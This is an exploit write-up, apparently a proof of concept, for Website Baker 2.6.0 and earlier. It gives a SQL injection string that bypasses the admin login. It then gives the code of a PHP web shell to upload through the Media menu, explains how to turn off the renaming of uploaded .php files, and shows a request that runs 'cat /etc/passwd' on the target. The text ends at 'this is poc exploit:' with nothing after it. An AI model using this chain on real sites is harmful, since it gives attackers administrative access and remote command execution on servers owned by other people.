Website Baker <=2.6.0 SQL Injection -> Login bypass -> remote code execution
software:
site: http://www.websitebaker.org/2/home/
description: "Website Baker 2, the Open Source Content Management System
designed to enable users to produce websites with ease."
if magic_quotes_gpc off you can bypass admin login check and grant access
to administrative area, poc:
switch to:
http://[target]/[path_to_wb]/admin/
and login with:
user: 'or isnull(1/0)/*
pass: [whatever]
now you can go to "Media" menu and upload a cmd.php file with this code inside:
<?php echo "Hi Master!";error_reporting(0);ini_set("max_execution _time",0);system($_GET[cmd]);?>
(on newer versions, by default, .php .asp .phpx .aspx files are renamed as .php.txt .asp.txt etc.
but you can go to "Settings" menu, switch to advanced options and disable this feature for php
files - it seems you can not leave "rename files on upload" field empty,a bug?, type just
something - also you can modify permissions for "media" folder)
now you can launch commands:
http://[target]/[path_to_wb]/media/cmd.php?cmd=cat%20/etc/passwd
this is poc exploit:
